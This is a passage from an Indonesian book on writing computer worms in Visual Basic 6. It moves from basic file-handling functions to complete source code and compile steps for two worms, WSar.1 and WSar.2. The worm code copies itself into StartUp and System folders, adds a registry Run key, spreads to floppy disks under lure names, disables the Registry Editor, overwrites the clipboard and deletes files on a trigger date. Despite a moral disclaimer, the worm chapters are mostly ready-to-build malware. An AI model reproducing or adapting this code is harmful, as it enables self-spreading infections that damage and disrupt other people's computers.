6.8.5 MENGETAHUI BESAR FILE Untuk mengetahui besar kapasitas suatu file, bisa menggunakan sintaksis berikut ini: FileLen([filename]) • filename : menentukan path dan file yang akan di ketahui besar file-nya.
93
Jasakom
Bab 6. Kode Program
• filename : menentukan path dan file yang ingin diketahui atributnya.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Contoh, untuk mengetahui kapasitas pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini: MsgBox FileLen("c:\windows\calc.exe")
6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE Untuk mengetahui kapan suatu file dibuat, bisa menggunakan sintaksis berikut ini: FileDateTime([filename]) Bab 6. Kode program
• filename : menentukan path dan file yang akan di ketahui tanggal atau waktu file-nya. Contoh, untuk mengetahui tanggal dan waktu pada file: "c:\windows\ calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini: MsgBox FileDateTime("c:\windows\calc.exe")
6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF Untuk mengetahui direktori apa yang sedang aktif, bisa menggunakan sintaksis berikut ini: CurDir([drive]) • drive : menentukan drive pada harddisk yang akan diketahui direktori aktifnya, apabila drive tidak ditentukan maka secara default akan diatur pada drive yang aktif saat itu.
94
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Contoh, untuk mengetahui direktori aktif pada drive C dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini: MsgBox CurDir("C")
6.8.8 MENGATUR DRIVE AKTIF Untuk membuat suatu drive menjadi aktif, bisa menggunakan sintaksis berikut ini: ChDrive([drive])
Contoh, untuk mengatur drive aktif pada drive D, dapat menggunakan sintaksis berikut ini: ChDrive("D")
6.8.9 MENGATUR DIREKTORI AKTIF Untuk membuat suatu direktori menjadi aktif, bisa menggunakan sintaksis berikut ini: ChDir([directory]) • directory : menentukan directory yang akan dijadikan direktori aktif. Contoh, untuk mengatur direktori aktif pada direktori: "C:\Windows", dapat menggunakan sintaksis berikut ini: ChDir("C:\Windows")
95
Jasakom
Bab 6. Kode Program
• drive : menentukan drive pada harddisk yang akan dijadikan drive aktif.
Computer Worm 1 - Secret of Underground Coding : Uncensored
6.8.10 MEMBUAT DIREKTORI BARU Untuk membuat suatu direktori baru, bisa menggunakan sintaksis berikut ini: MkDir([path]) • path : menentukan drive dan directory yang akan dibuat. Contoh, untuk membuat suatu direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini: MkDir("C:\Contoh")
Bab 6. Kode program
6.8.11 MENGHAPUS DIREKTORI Untuk menghapus suatu direktori, bisa menggunakan sintaksis berikut ini: RmDir([path]) • path : menentukan drive dan directory yang akan dihapus. Contoh, untuk menghapus direktori "Contoh" pada drive C, dapat menggunakan sintaksis berikut ini: RmDir("C:\Contoh")
Catatan : Untuk menghapus suatu direktori, maka direktori yang akan dihapus harus benar-benar empty (kosong), tidak berisi file atau sub-direktori apapun.
96
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.8.12 MENGUBAH NAMA DIREKTORI Untuk mengubah nama suatu direktori, bisa menggunakan sintaksis berikut ini: Name [source] As [destination] • source
: menentukan drive, path dan direktori yang akan diubah
Contoh, untuk mengubah nama direktori: "C:\Contoh" menjadi direktori: "C:\Misal" dapat menggunakan perintah berikut ini: Name "C:\Contoh" As "C:\Misal"
6.9 OPERASI FILE TEXT Dengan Visual Basic, pengoperasian file text menjadi mudah dan sederhana. Berikut ini akan diberikan contoh bagaimana membuka atau membuat suatu file text.
6.9.1 MEMBUAT FILE TEXT Untuk membuat suatu file text baik yang memiliki ekstensi txt, bat, doc, vbs, htm, reg, ini, atau file batch lainnya, dapat menggunakan procedure sebagai berikut: Open [filename] For Output As #num Print #num, ["text"] Close num
97
Jasakom
Bab 6. Kode Program
• destination : menentukan nama direktori baru dengan drive dan path yang sama.
Computer Worm 1 - Secret of Underground Coding : Uncensored
• filename : menentukan path dan file yang akan berlaku sebagai output. Apabila terdapat file dengan nama dan path yang sama maka file tersebut akan di overwrite • num
: bilangan Integer
• text
: isi dari file text yang ingin ditulis
Contoh, untuk membuat file: "c:\runner.bat", dapat menggunakan procedure, berikut ini:
Private Sub Form_Load() Dim filenya As String
Bab 6. Kode program
filenya = "c:\runner.bat" Open filenya For Output As #1 Print #1, "rem runner winword.exe w32.exe" Print #1, "command /c %1" Print #1, "command /c %2" Close(1) End Sub
6.9.2 MEMBACA FILE TEXT Untuk membaca suatu file text, dapat menggunakan procedure sebagai berikut: Open [filename] For Input As #num [content] = Input(LOF(num), num) Close num • filename : menentukan path dan file yang akan berlaku sebagai input • num
: bilangan integer
• content : variabel yang mewakili isi dari file text
98
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Contoh, untuk membaca file: "c:\runner.bat" dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini: Private Sub Form_Load() Dim filenya, isifile as string filenya = "c:\runner.bat" Open filenya For Input As #1 isifile = Input(LOF(1),1) Close 1 Text1.text = isifile End Sub
Seperti pada pengoperasian file text, maka kita dapat memproses file binary dengan cara yang hampir sama. Berikut akan di contohkan bagaimana memanfaatkan suatu file binary. Untuk membuka suatu file binary, bisa menggunakan statement Open dengan opsi For Binary. Untuk membaca isi file digunakan statement Get, kemudian menggunakan statement Put untuk operasi penulisan.
6.10.1 MEMBUAT FILE BINARY Untuk membuat atau menulis suatu file binary, dapat menggunakan procedure sebagai berikut: content = ["text"] Open destination For Binary Access Write As #1 Put #1, , content Close #1 • destination : menentukan path dan file yang akan berlaku sebagai output • content
: variabel yang mewakili isi dari file
99
Jasakom
Bab 6. Kode Program
6.10 OPERASI FILE BINARY
Computer Worm 1 - Secret of Underground Coding : Uncensored
Contoh, untuk membuat file: "c:\contoh.bat" dengan isi file berupa teks "echo belajar file binary", dapat menggunakan procedure, berikut ini: Private Sub Form_Load() Dim filename, content As String filename = "c:\contoh.bat" content = "echo belajar file binary" Open filename For Binary Access Write As #1 Put #1, , content Close #1 End Sub
6.10.2 MEMBACA FILE BINARY Untuk membaca suatu file binary, dapat menggunakan procedure sebagai berikut: Bab 6. Kode program
content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 • filename : menentukan path dan file yang akan berlaku sebagai input • content
: variabel yang mewakili isi dari file
Contoh, untuk membaca file: "c:\windows\notepad.exe" dan menampilkan huruf mulai dari karakter ke 113 hingga 4 karakter dan menampilkannya pada suatu TextBox bernama Text1, dapat menggunakan procedure, berikut ini: Private Sub Form_Load() Dim filename, content As String filename = "c:\windows\notepad.exe" content = Space(FileLen(filename)) Open filename For Binary Access Read As #1 Get #1, , content Close #1 Text1.text = Mid(content, 113, 4) End Sub
100
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.11 FILE SYSTEM OBJECT (FSO) Visual basic 6.0 menyertakan sebuah library yang meliputi perintahperintah dasar seperti delete, copy, move dan lain-lain, serta mampu mendapatkan suatu informasi eksternal yang umumnya tidak terdapat pada function Visual Basic. Bentuk umumnya adalah sebagai berikut: Set fso = CreateObject("scripting.filesystemobject") fso.myobject 1. fso : variabel untuk pembuatan suatu object 2. myobject : variabel yang mewakili suatu object Contoh, untuk mengetahui direktori System pada Windows dan menampilkannya pada suatu kotak pesan, dapat menggunakan procedure berikut ini: Bab 6. Kode Program
Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting. filesystemobject") MsgBox fso.GetSpecialFolder(1) End Sub
Berikut adalah beberapa function yang dapat digunakan: Sintaksis
Keterangan
CopyFile Source, Destination, [Overwrite]
Digunakan untuk meng-copy file
CopyFolder Source, Destination, [Overwrite]
Digunakan untuk meng-copy folder beserta isi-isinya
CreateFolder(Path) As Folder
Digunakan untuk membuat suatu direktori atau folder baru
CreateTextFile(FileName, [Overwrite], [Unicode]) As TextStream
Digunakan untuk membuat suatu file text
DeleteFile FileSpec, [Force]
Digunakan untuk menghapus satu atau lebih file dan bisa menggunakan wildcards; atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut read only
101
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. Kode program
DeleteFolder(FolderSpec, [Force])
Digunakan untuk menghapus suatu folder beserta isi-isinya, atur Force pada nilai true untuk tetap menghapus walaupun file memiliki atribut Read only
DriveExists(DriveName)
Memberikan nilai true jika drive yang ditentukan ada
FileExists(FileName)
Memberikan nilai true jika file yang ditentukan ada
FolderExists(FolderName)
Memberikan nilai true jika folder yang ditentukan ada
GetDriveName(Path)
Mengambil drive dari suatu path
GetExtensionName(FileName)
Mengambil ekstensi dari file
GetFileName(FileName)
Mengambil nama file dan ekstensi tanpa path lengkap
GetParentFolderName(Path)
Untuk mendapatkan folder induk dari suatu path
GetSpecialFolder(SpecialFolder) As Folder
Untuk mendapatkan suatu folder spesial pada Windows. 0: untuk Windows Folder 1: untuk System Folder 2: untuk Temporary Folder
MoveFile(Source, Destination)
Digunakan untuk memindahkan suatu file ke lokasi berbeda
MoveFolder(Source, Destination)
Digunakan untuk memindahkan suatu folder ke lokasi berbeda
Contoh lain, untuk meng-copy file dari: "c:\windows\notepad.exe" ke direktori A pada disket, dapat menggunakan procedure berikut ini: Private Sub Form_Load() Dim sysdir As Variant Dim fso As Variant Set fso=CreateObject("scripting.filesystemobject") fso.copyfile "c:\windows\notepad.exe", "a:\" End Sub
102
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Kenapa bab ini ada? Bab ini adalah salah satu bab inti dari buku ini, yang memuat tentang cara-cara pembuatan worm. Perlu untuk penulis ingatkan kembali, bahwa membicarakan masalah pembuatan suatu worm membutuhkan pemahaman tentang tanggung jawab moral yang besar, karena worm dapat menimbulkan kerugian yang sangat besar baik berupa materiil maupun non materiil. Namun demikian, penulis tetap memberikan trik-trik real yang digunakan para worm writer dalam membuat suatu worm, karena akan mengingatkan pembaca semua, bahwa worm adalah program yang sangat berbahaya dan dapat dibuat dengan mudah.
103
Jasakom
Bab 7. Worm WSar.1
BAB 7 WORM WSar.1
Computer Worm 1 - Secret of Underground Coding : Uncensored
B
anyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungkapan ini digunakan dalam proses pembuatan suatu worm.
Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan sudah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini. Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan:
Bab 7. Worm WSar.1
1. Jika memungkinkan, sangat disarankan untuk menggunakan komputer tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang 2. Gunakan program pembantu seperti ShadowUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilakukan bahkan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula. Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan menimbulkan efek yang sama dengan restart komputer. Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh DeepFreeze. Sementara untuk program ShadowUser lebih flexibel. Anda tinggal menentukan folder apa saja yang ingin dibebaskan dari proteksi
104
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus. Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya.
7.1 WORM DASAR 1 Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi sedikitnya tiga sub-rutin yang terpasang. • Sub-rutin yang pertama berfungsi untuk melakukan penularan dengan cara membuat clonning (salinan) dirinya sendiri pada suatu system komputer, media penyimpanan atau melalui suatu jaringan. • Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk bertahan hidup), yang akan memastikan suatu worm tetap eksis pada suatu host system • Sub-rutin yang ketiga berfungsi sebagai pengatur payload (muatan maksud tertentu) yang mendikte suatu tindakan untuk dieksekusi. Payload ini pada teorinya bisa berupa apa saja seperti menghapus data, memasang backdoor atau memformat harddisk. Sub-rutin pelengkap lainnya bisa saja sebagai penentu kapan payload tersebut dilakukan.
105
Jasakom
Bab 7. Worm WSar.1
Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan.
Computer Worm 1 - Secret of Underground Coding : Uncensored
7..2 ALGORITMA Worm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
Bab 7. Worm WSar.1
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A 4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1 Ada Pada Komputer Anda" dan menghentikan segala aktifitas worm pada hari tersebut.
7.3 PEMROGRAMAN Buka aplikasi Visual Basic. Pada kotak dialog New Project klik icon Standard EXE pada tab New dan klik Open, untuk menampilkan kotak dialog New Project bisa dengan klik File pada menubar kemudian pilih New Project.
106
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Sebagai langkah pertama, aturlah Project Properties dengan mengklik kanan nama project pada jendela Project Explorer yang dalam hal ini nama project masih bernama Project1, kemudian klik 'Project1 Properties…’
107
Jasakom
Bab 7. Worm WSar.1
Visual basic secara otomatis memberikan sebuah project dengan nama default Project1 dan sebuah form di dalamnya dengan nama default Form1.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Akan tampil kotak dialog Project Properties dan berada pada tab General. Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar. Dalam pengisian Project Name, tidak boleh menggunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya. Untuk melanjutkan pindah ke menu Make dengan mengklik tab Make.
Bab 7. Worm WSar.1
Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name. Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan ? Jika value yang dihapus ternyata kembali saat project di-load Anda bisa menghapusnya lagi dan menambahkan sebuah karakter spasi. Kemudian pindah ke menu Compile dengan mengklik tab Compile.
108
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 7. Worm WSar.1
Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada menggunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.
Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer. Dalam hal ini, nama form masih bernama Form1, secara otomatis segala properti pada Form1 akan ditampilkan pada jendela Properties. Anda juga bisa meng-klik ComboBox pada jendela Properties dan pilih object Form1.
109
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Kemudian atur jenis properti berikut ini pada Form1: Jenis
Nilai
Keterangan
Name
frmWSar1
Mengatur nama form menjadi frmWSar1
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.1 menggunakan icon folder. ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user. Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1: Bab 7. Worm WSar.1
Jenis
Nilai
Keterangan
Name
tmrWSar
Mengatur nama Timer menjadi tmrWSar
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
60000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Langkah keempat adalah mengetikan kode program worm. Untuk itu klik ganda bidang form hingga jendela Code Editor tampil dengan langsung membuat suatu sub 'Form Load’. Anda juga bisa mengklik nama form pada jendela Explorer, klik tombol View Code kemudian klik ComboBox Object pada Code Editor dan pilih Form, klik ComboBox Event dan pilih Load.
110
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Ketik kode program berikut ini: 'WSar.1 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Bab 7. Worm WSar.1
Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) = 0 Then FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe") End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
111
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Berikut penjelasan tentang kode program: 'WSar.1 by Achmad Darmal 'Tarakan, Kalimantan Timur – Indonesia Option Explicit
Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan. Private Sub Form_Load()
Bab 7. Worm WSar.1
Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan. On Error Resume Next
Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya. If App.PrevInstance = True Then End
Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengeksekusian file tersebut. Statement ini berguna untuk mencegah suatu file aplikasi yang sama dieksekusi lebih dari satu kali. If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe")) = 0 Then
Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\ Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file tersebut ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file), maka…
112
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _ "rams\StartUp\System File.exe"
FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,
Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya. End Sub
Statement End Form_Load.
Sub
berfungsi
untuk
mengakhiri
procedure
Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End If End Sub
Memulai suatu procedure baru terhadap object tmrWSar (Timer), mengacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya. Jika file "A:\Game Collection.exe" tidak ditemukan maka meng-copy file utama ke drive A dengan nama "Game Collection.exe". Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-
113
Jasakom
Bab 7. Worm WSar.1
If App.Path = "A:\" Or App.Path = "B:\" Then Unload Me End If
Computer Worm 1 - Secret of Underground Coding : Uncensored
ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm tidak akan melakukan aktifitas apapun. Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Function WormFile dibuat untuk mendapatkan path penuh file utama, dimulai dengan pendeklarasian WPath untuk lokasi dan WName untuk nama file, kemudian menentukan lokasi file utama dengan function App.Path dan menyimpannya dalam variabel WPath..
Bab 7. Worm WSar.1
Jika satu karakter disebelah kanan nilai variabel WPath tidak sama dengan "\" maka nilai variabel WPath ditambahkan karakter "\" dibelakangnya, kemudian mengatur nilai variabel WName dengan nilai berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan file tersebut adalah file executable.
Langkah kelima adalah menyimpan project yang telah selesai dibuat, dengan meng-click File pada menubar kemudian pilih Save Project.
114
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.
Langkah terakhir adalah mengkompilasi project menjadi suatu file executable. Untuk itu klik File pada menubar, kemudian dalam hal ini klik Make WSar. Exe yang akan menampilkan kotak dialog Make Project,
115
Jasakom
Bab 7. Worm WSar.1
Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Isi TextBox File name dengan nama File Exe yang akan dibuat yang dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut akan diletakkan. Klik OK untuk memulai proses kompilasi. Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut: 1. C:\Documents and Settings\Administrator\Start Menu\ Programs\startup 2. C:\Documents and Settings\All Users\Start Menu\Progra ms\ startup 3. C:\Documents and Settings\Default User\Start Menu\ Programs\ startup
Bab 7. Worm WSar.1
116
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
W
orm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaatkan WSH (Windows Scripting Host) untuk memanipulasi registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.
8.1 ALGORITMA WSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
117
Jasakom
Bab 8. Worm WSar.2
BAB 8 WORM WSar.2
Computer Worm 1 - Secret of Underground Coding : Uncensored
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe" 4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direktori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.
8.2 PEMROGRAMAN Bab 8. Worm WSar.2
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, pada tab Make, atur Application Title menjadi 'WSar.2’ dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form. Properti object Form1 Jenis
Nilai
Keterangan
Name
frmWSar2
Mengatur nama form menjadi frmWSar2
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
118
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrWSar2
Mengatur nama Timer menjadi tmrWSar2
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
60000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
Bab 8. Worm WSar.2
Ketik kode program berikut ini pada frmWSar2: 'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ") End Sub Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
119
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1) End Sub
Bab 8. Worm WSar.2
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe") End Sub Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
120
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function Berikut penjelasan tentang kode program: 'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit
Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama. Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ") End Sub
Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh… rinduuuu… dimanakah dirimu…. " yang akan disisipkan jika user melakukan proses paste.
121
Jasakom
